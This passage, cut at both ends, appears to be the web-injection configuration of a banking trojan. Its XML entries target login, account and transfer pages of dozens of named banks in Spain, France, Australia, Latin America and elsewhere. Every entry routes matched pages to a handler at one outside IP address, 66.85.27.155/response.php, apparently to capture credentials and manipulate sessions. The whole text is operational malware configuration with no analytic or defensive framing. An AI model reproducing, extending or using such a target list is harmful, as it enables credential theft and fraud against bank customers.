<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/dciweb.htm*?p0=idesai.tht&t=p*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/EBC_EBC1961/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*activobank.com/cs/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*activobank.com/activobank/LoginDNI.doLogin.bs*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*activobank.com/activobank/LoginDNI.init.bs*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*activobank.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*labanquepostale*.html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*labanquepostale*favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*labanquepostale.fr/wsost/OstBrokerWeb/loginform*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*secure.myvirtualbranch.com*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*pib*.secure-banking.com/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*portal.citidirect.com/*/forms/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/Authentication/Login*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/Accounts/AccountOverview.asp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*engine/login/businesslogin*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bancofarnet.bancofar.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bancofarnet.bancofar.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*unicaja*es*/PortalServle*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*unicaja*es*/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/isum/Main?ISUM_SCR=login&loginType=accesoSeguro&ISUM_Portal*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.creditmutuel.fr/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.creditmutuel.fr/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://entreprises.secure.societegenerale.fr/</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://entreprises.secure.societegenerale.fr/*.html</lm>
<hl>http://66.85.27.155/response.php</hl>

<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://entreprises.secure.societegenerale.fr/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bbv.com.ar*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*entreprises.natixis.com/jcms*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*entreprises.natixis.com/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*ubibanca.com*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*cajasur.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*kutxabank.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*cajasur.es/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*kutxabank.es/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*finconsum.es*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*caixabankconsumer.com*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.com/fi*/bb/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.com/fi*/pb/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.com/fi*/retail/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.com/fnfg/retail/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.com/fi*/bb/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.com/fi*/pb/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.com/fi*/retail/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.com/fnfg/retail/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.uno-e.com/local_bdnt_unoe/*html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.uno-e.com/local_bdnt_unoe/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bankinter.com/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bankinter.com/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*-g*-enligne.*.fr/stb/entreeBam*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*-g*-enligne.*.fr/stb/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*cm-cic-bail.com*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*banquedelareunion.fr*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bankoaonline.com/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bankoaonline.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*caixabank.es*html*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*lacaixa.es/GPeticiones*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*caixabank.es/favicon.ico*</lm>
<hl>http://66.85.
27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*lacaixa.es/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*ediweb.credit-agricole.fr/*/login*.jsp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*ediweb.credit-agricole.fr/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.ediweb.ca-*.fr/*/login*.jsp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*.ediweb.ca-*.fr/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.com/SPF/Login/Auth.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.com/SPF/Login/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*bancomer.com*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/BEWeb/0130/0130/inicio_identificacion.action*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*/BEWeb/0130/0130/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/BEWeb/9138/9138/inicio_identificacion.action*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*/BEWeb/9138/9138/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*laboralkutxa.com/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*laboralkutxa.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*be.ceca.es*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*palatine.fr*jsp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*palatine.fr*favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://espace-client.cetelem.fr/*/cetelem/logon.do*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://espace-client.cetelem.fr/*/cetelem/favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<name>zzzzzz6</name>
<dinj>
<lm>*/onlineserv/CM*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*liberbankbancaprivada.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*liberbankbancaprivada.es/favicon.ico</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*activa24.ccm.es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*activa24.ccm.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*bancaadistancia*es/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*bancaadistancia*es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*caixaontinyent.es/BEWeb/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*caixaontinyent.es/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*.ebanking-services.com/*.asp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>*.ebanking-services.com/*/*favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://ib.nab.com.au/nabib/index.jsp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ib.nab.com.au/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ib.nab.com.au/nabib/*.ctl*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://ibanking.stgeorge.com.au/InternetBankingResources/ibank2/javascript/util/cryptoJS/components/pad-nopadding-min.js</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.banksa.com.au/InternetBankingResources/ibank2/javascript/util/cryptoJS/components/pad-nopadding-min.js</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2<
/sq>
</dinj>
<dinj>
<lm>http://ibanking.bankofmelbourne.com.au/InternetBankingResources/ibank2/javascript/util/cryptoJS/components/pad-nopadding-min.js</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.stgeorge.com.au/ibank/logonAction.action</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.bankofmelbourne.com.au/ibank/logonAction.action</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.banksa.com.au/ibank/logonAction.action</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.stgeorge.com.au/ibank/stats.jsp</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.banksa.com.au/ibank/stats.jsp</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://ibanking.bankofmelbourne.com.au/ibank/stats.jsp</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/Logon*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/*/Transfers/External*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
